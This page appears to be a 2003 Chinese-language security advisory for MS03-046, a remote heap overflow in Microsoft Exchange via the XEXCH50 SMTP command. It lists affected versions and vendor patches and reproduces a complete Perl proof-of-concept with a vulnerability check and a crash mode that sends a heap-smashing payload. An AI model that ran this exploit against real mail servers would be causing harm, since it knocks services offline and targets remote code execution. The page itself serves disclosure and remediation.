xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft Exchange Server远程缓冲区溢出漏洞


发布时间:2003-10-15
更新时间:2003-10-22
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:8838
CVE(CAN) ID:CAN-2003-0714

受影响系统
Microsoft Exchange Server 5.5 SP4                    
   -Microsoft BackOffice 4.5                          
   -Microsoft Windows 2000 Workstation                
   -Microsoft Windows 2000 Workstation SP1            
   -Microsoft Windows 2000 Workstation SP2            
   -Microsoft Windows NT 4.0                          
   -Microsoft Windows NT 4.0 SP1                      
   -Microsoft Windows NT 4.0 SP2                      
   -Microsoft Windows NT 4.0 SP3                      
   -Microsoft Windows NT 4.0 SP4                      
   -Microsoft Windows NT 4.0 SP5                      
   -Microsoft Windows NT 4.0 SP6                      
   -Microsoft Windows NT 4.0 SP6a                    
Microsoft Exchange Server 5.5 SP3                    
   -Microsoft BackOffice 4.5                          
   -Microsoft Windows 2000 Workstation                
   -Microsoft Windows 2000 Workstation SP1            
   -Microsoft Windows 2000 Workstation SP2            
   -Microsoft Windows NT 4.0                          
   -Microsoft Windows NT 4.0 SP1                      
   -Microsoft Windows NT 4.0 SP2                      
   -Microsoft Windows NT 4.0 SP3                      
   -Microsoft Windows NT 4.0 SP4                      
   -Microsoft Windows NT 4.0 SP5                      
   -Microsoft Windows NT 4.0 SP6                      
   -Microsoft Windows NT 4.0 SP6a                    
Microsoft Exchange Server 5.5 SP2                    
   -Microsoft BackOffice 4.5                          
   -Microsoft Windows 2000 Workstation                
   -Microsoft Windows 2000 Workstation SP1            
   -Microsoft Windows 2000 Workstation SP2            
   -Microsoft Windows NT 4.0                          
   -Microsoft Windows NT 4.0 SP1                      
   -Microsoft Windows NT 4.0 SP2                      
   -Microsoft Windows NT 4.0 SP3                      
   -Microsoft Windows NT 4.0 SP4                      
   -Microsoft Windows NT 4.0 SP5                      
   -Microsoft Windows NT 4.0 SP6                      
   -Microsoft Windows NT 4.0 SP6a                    
Microsoft Exchange Server 5.5 SP1                    
   -Microsoft BackOffice 4.5                          
   -Microsoft Windows 2000 Workstation                
   -Microsoft Windows 2000 Workstation SP1            
   -Microsoft Windows 2000 Workstation SP2            
   -Microsoft Windows NT 4.0                          
   -Microsoft Windows NT 4.0 SP1                      
   -Microsoft Windows NT 4.0 SP2                      
   -Microsoft Windows NT 4.0 SP3                      
   -Microsoft Windows NT 4.0 SP4                      
   -Microsoft Windows NT 4.0 SP5                      
   -Microsoft Windows NT 4.0 SP6                      
   -Microsoft Windows NT 4.0 SP6a                    
Microsoft Exchange Server 5.5                        
   -Microsoft BackOffice 4.5                          
   -Microsoft Windows 2000 Workstation                
   -Microsoft Windows 2000 Workstation SP1            
   -Microsoft Windows 2000 Workstation SP2            
   -Microsoft Windows NT 4.0                          
   -Microsoft Windows NT 4.0 SP1                      
   -Microsoft Windows NT 4.0 SP2                      
   -Microsoft Windows NT 4.0 SP3                      
   -Microsoft Windows NT 4.0 SP4                      
   -Microsoft Windows NT 4.0 SP5                      
   -Microsoft Windows NT 4.0 SP6                      
   -Microsoft Windows NT 4.0 SP6a                    
Microsoft Exchange Server 2000 SP3                    
Microsoft Exchange Server 2000 SP2                    
   -Microsoft Windows 2000 Advanced Server            
   -Microsoft Windows 2000 Advanced Server SP1        
   -Microsoft Windows 2000 Advanced Server SP2        
   -Microsoft Windows 2000 Datacenter Server          
   -Microsoft Windows 2000 Datacenter Server SP1      
   -Microsoft Windows 2000 Datacenter Server SP2      
   -Microsoft Windows 2000 Server                    
   -Microsoft Windows 2000 Server SP1                
   -Microsoft Windows 2000 Server SP2                
Microsoft Exchange Server 2000 SP1                    
   -Microsoft Windows 2000 Advanced Server            
   -Microsoft Windows 2000 Advanced Server SP1        
   -Microsoft Windows 2000 Advanced Server SP2        
   -Microsoft Windows 2000 Datacenter Server          
   -Microsoft Windows 2000 Datacenter Server SP1      
   -Microsoft Windows 2000 Datacenter Server SP2      
   -Microsoft Windows 2000 Server                    
   -Microsoft Windows 2000 Server SP1                
   -Microsoft Windows 2000 Server SP2                
Microsoft Exchange Server 2000                        
   -Microsoft Windows 2000 Advanced Server            
   -Microsoft Windows 2000 Advanced Server SP1        
   -Microsoft Windows 2000 Advanced Server SP2        
   -Microsoft Windows 2000 Datacenter Server          
   -Microsoft Windows 2000 Datacenter Server SP1      
   -Microsoft Windows 2000 Datacenter Server SP2      
   -Microsoft Windows 2000 Server                    
   -Microsoft Windows 2000 Server SP1                
   -Microsoft Windows 2000 Server SP2
详细描述
Microsoft Exchange Server实现上存在一个可远程利用的缓冲区溢出漏洞,由于对XEXCH50关键字的处理有问题,远程非认证的客户端可以利用此漏洞引发溢出的发生,在Exchange 2000可能利用此漏洞 执行任意指令,在Exchange Server 5.5上可能造成拒绝服务攻击。

测试代码
#!/usr/bin/perl -w
##################

##
# ms03-046.pl - hdm[at]metasploit.com
##

use strict;
use IO::Socket;

my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25;


if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() }

usage();


sub check
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    print $s "XEXCH50 2 2\r\n";
    my $res = <$s>;    
    close ($s);

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res =~ /authentication/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] This system is vulnerable: $host:$port\n";

    exit(0);
}


sub crash
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    # the negative value allows us to overwrite random heap bits
    print $s "XEXCH50 -1 2\r\n";
    my $res = <$s>;    

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res =~ /authentication/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] Sending massive heap-smashing string...\n";
    print $s ("META" x 16384);

    # sometimes a second connection is required to trigger the crash
    $s = SMTP($host, $port);

    exit(0);
}


sub usage
{
    print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
    exit(0);

}

sub SMTP
{
    my ($host, $port) = @_;
    my $s = IO::Socket::INET->new
    (
        PeerAddr => $host,
        PeerPort => $port,
        Proto    => "tcp"
    ) || return(undef);

    my $r = <$s>;
    return undef if !$r;
    
    if ($r !~ /Microsoft/)
    {
        chomp($r);
        print STDERR "[*] This does not look like an exchange server: $r\n";
        return(undef);
    }
    
    print $s "HELO X\r\n";
    $r = <$s>;
    return undef if !$r;  

    print $s "MAIL FROM: DoS\r\n";
    $r = <$s>;
    return undef if !$r;
    
    print $s "RCPT TO: Administrator\r\n";
    $r = <$s>;
    return undef if !$r;
    
    return($s);
}

解决方案
厂商已经提供了补丁:

Microsoft Exchange Server 2000 SP3:
     Microsoft Patch Security Update for Exchange 2000 (KB829436)
     http://www.microsoft.com/downloads/details.aspx?FamilyId=7BAF5394-1B4E-4937-A570-9F232AE49F01&displaylang=en
Microsoft Exchange Server 5.5 SP4:
     Microsoft Patch Security Update for Exchange 5.5 (KB829436)
     http://www.microsoft.com/downloads/details.aspx?FamilyId=A9E872EA-54B0-4179-8AE9-5648BFB46459&displaylang=en

相关信息
CA-2003-27: Multiple Vulnerabilities in Microsoft Windows and Exchange
http://www.cert.org/advisories/CA-2003-27.html

Microsoft Security Bulletin MS03-046
http://www.microsoft.com/technet/security/bulletin/MS03-046.asp